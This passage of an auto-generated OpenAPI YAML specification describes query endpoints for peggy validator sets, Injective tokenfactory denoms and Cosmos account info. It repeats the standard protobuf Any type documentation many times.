[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: validator_address | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/peggy/v1/valset: | |
get: | |
operationId: ValsetRequest | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
valset: | |
type: object | |
properties: | |
nonce: | |
type: string | |
format: uint64 | |
members: | |
type: array | |
items: | |
type: object | |
properties: | |
power: | |
type: string | |
format: uint64 | |
ethereum_address: | |
type: string | |
title: >- | |
BridgeValidator represents a validator's ETH address and | |
its power | |
height: | |
type: string | |
format: uint64 | |
reward_amount: | |
type: string | |
reward_token: | |
type: string | |
title: >- | |
the reward token in it's Ethereum hex address | |
representation | |
title: >- | |
Valset is the Ethereum Bridge Multsig Set, each peggy | |
validator also | |
maintains an ETH key to sign messages, these are used to check | |
signatures on | |
ETH because of the significant gas savings | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: nonce | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
tags: | |
- Query | |
/peggy/v1/valset/confirm: | |
get: | |
operationId: ValsetConfirm | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
confirm: | |
type: object | |
properties: | |
nonce: | |
type: string | |
format: uint64 | |
orchestrator: | |
type: string | |
eth_address: | |
type: string | |
signature: | |
type: string | |
description: >- | |
MsgValsetConfirm | |
this is the message sent by the validators when they wish to | |
submit their | |
signatures over the validator set at a given block height. A | |
validator must | |
first call MsgSetEthAddress to set their Ethereum address to | |
be used for | |
signing. Then someone (anyone) must make a ValsetRequest the | |
request is | |
essentially a messaging mechanism to determine which block all | |
validators | |
should submit signatures over. Finally validators sign the | |
validator set, | |
powers, and Ethereum addresses of the entire validator set at | |
the height of a | |
ValsetRequest and submit that signature with this message. | |
If a sufficient number of validators (66% of voting power) (A) | |
have set | |
Ethereum addresses and (B) submit ValsetConfirm messages with | |
their | |
signatures it is then possible for anyone to view these | |
signatures in the | |
chain store and submit them to Ethereum to update the | |
validator set | |
------------- | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: nonce | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: address | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/peggy/v1/valset/current: | |
get: | |
summary: valset | |
operationId: CurrentValset | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
valset: | |
type: object | |
properties: | |
nonce: | |
type: string | |
format: uint64 | |
members: | |
type: array | |
items: | |
type: object | |
properties: | |
power: | |
type: string | |
format: uint64 | |
ethereum_address: | |
type: string | |
title: >- | |
BridgeValidator represents a validator's ETH address and | |
its power | |
height: | |
type: string | |
format: uint64 | |
reward_amount: | |
type: string | |
reward_token: | |
type: string | |
title: >- | |
the reward token in it's Ethereum hex address | |
representation | |
title: >- | |
Valset is the Ethereum Bridge Multsig Set, each peggy | |
validator also | |
maintains an ETH key to sign messages, these are used to check | |
signatures on | |
ETH because of the significant gas savings | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Query | |
/peggy/v1/valset/last: | |
get: | |
operationId: LastPendingValsetRequestByAddr | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
valsets: | |
type: array | |
items: | |
type: object | |
properties: | |
nonce: | |
type: string | |
format: uint64 | |
members: | |
type: array | |
items: | |
type: object | |
properties: | |
power: | |
type: string | |
format: uint64 | |
ethereum_address: | |
type: string | |
title: >- | |
BridgeValidator represents a validator's ETH address | |
and its power | |
height: | |
type: string | |
format: uint64 | |
reward_amount: | |
type: string | |
reward_token: | |
type: string | |
title: >- | |
the reward token in it's Ethereum hex address | |
representation | |
title: >- | |
Valset is the Ethereum Bridge Multsig Set, each peggy | |
validator also | |
maintains an ETH key to sign messages, these are used to | |
check signatures on | |
ETH because of the significant gas savings | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: address | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/peggy/v1/valset/requests: | |
get: | |
operationId: LastValsetRequests | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
valsets: | |
type: array | |
items: | |
type: object | |
properties: | |
nonce: | |
type: string | |
format: uint64 | |
members: | |
type: array | |
items: | |
type: object | |
properties: | |
power: | |
type: string | |
format: uint64 | |
ethereum_address: | |
type: string | |
title: >- | |
BridgeValidator represents a validator's ETH address | |
and its power | |
height: | |
type: string | |
format: uint64 | |
reward_amount: | |
type: string | |
reward_token: | |
type: string | |
title: >- | |
the reward token in it's Ethereum hex address | |
representation | |
title: >- | |
Valset is the Ethereum Bridge Multsig Set, each peggy | |
validator also | |
maintains an ETH key to sign messages, these are used to | |
check signatures on | |
ETH because of the significant gas savings | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Query | |
/injective/tokenfactory/v1beta1/denoms/{creator}/{sub_denom}/authority_metadata: | |
get: | |
summary: |- | |
DenomAuthorityMetadata defines a gRPC query method for fetching | |
DenomAuthorityMetadata for a particular denom. | |
operationId: DenomAuthorityMetadata | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
authority_metadata: | |
type: object | |
properties: | |
admin: | |
type: string | |
title: Can be empty for no admin, or a valid injective address | |
description: >- | |
DenomAuthorityMetadata specifies metadata for addresses that | |
have specific | |
capabilities over a token factory denom. Right now there is | |
only one Admin | |
permission, but is planned to be extended to the future. | |
description: >- | |
QueryDenomAuthorityMetadataResponse defines the response structure | |
for the | |
DenomAuthorityMetadata gRPC query. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: creator | |
in: path | |
required: true | |
type: string | |
- name: sub_denom | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/tokenfactory/v1beta1/denoms_from_creator/{creator}: | |
get: | |
summary: |- | |
DenomsFromCreator defines a gRPC query method for fetching all | |
denominations created by a specific admin/creator. | |
operationId: DenomsFromCreator | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
denoms: | |
type: array | |
items: | |
type: string | |
description: >- | |
QueryDenomsFromCreatorRequest defines the response structure for | |
the | |
DenomsFromCreator gRPC query. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: creator | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/injective/tokenfactory/v1beta1/module_state: | |
get: | |
summary: Retrieves the entire auction module's state | |
operationId: TokenfactoryModuleState | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
state: | |
type: object | |
properties: | |
params: | |
description: params defines the parameters of the module. | |
type: object | |
properties: | |
denom_creation_fee: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an | |
amount. | |
NOTE: The amount field is an Int which implements | |
the custom method | |
signatures required by gogoproto. | |
factory_denoms: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
authority_metadata: | |
type: object | |
properties: | |
admin: | |
type: string | |
title: >- | |
Can be empty for no admin, or a valid injective | |
address | |
description: >- | |
DenomAuthorityMetadata specifies metadata for | |
addresses that have specific | |
capabilities over a token factory denom. Right now | |
there is only one Admin | |
permission, but is planned to be extended to the | |
future. | |
description: >- | |
GenesisDenom defines a tokenfactory denom that is | |
defined within genesis | |
state. The structure contains DenomAuthorityMetadata | |
which defines the | |
denom's admin. | |
description: GenesisState defines the tokenfactory module's genesis state. | |
description: |- | |
QueryModuleStateResponse is the response type for the | |
Query/TokenfactoryModuleState RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/injective/tokenfactory/v1beta1/params: | |
get: | |
summary: >- | |
Params defines a gRPC query method that returns the tokenfactory | |
module's | |
parameters. | |
operationId: TokenfactoryParams | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
params: | |
description: params defines the parameters of the module. | |
type: object | |
properties: | |
denom_creation_fee: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the | |
custom method | |
signatures required by gogoproto. | |
description: >- | |
QueryParamsResponse is the response type for the Query/Params RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
tags: | |
- Query | |
/cosmos/auth/v1beta1/account_info/{address}: | |
get: | |
summary: AccountInfo queries account info which is common to all account types. | |
description: 'Since: cosmos-sdk 0.47' | |
operationId: AccountInfo | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
info: | |
description: info is the account info which is represented by BaseAccount. | |
type: object | |
properties: | |
address: | |
type: string | |
pub_key: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type | |
of the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be | |
in a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can | |
optionally set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results | |
based on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty | |
scheme) might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the | |
above specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any | |
values in the form | |
of utility functions or additional generated methods of | |
the Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
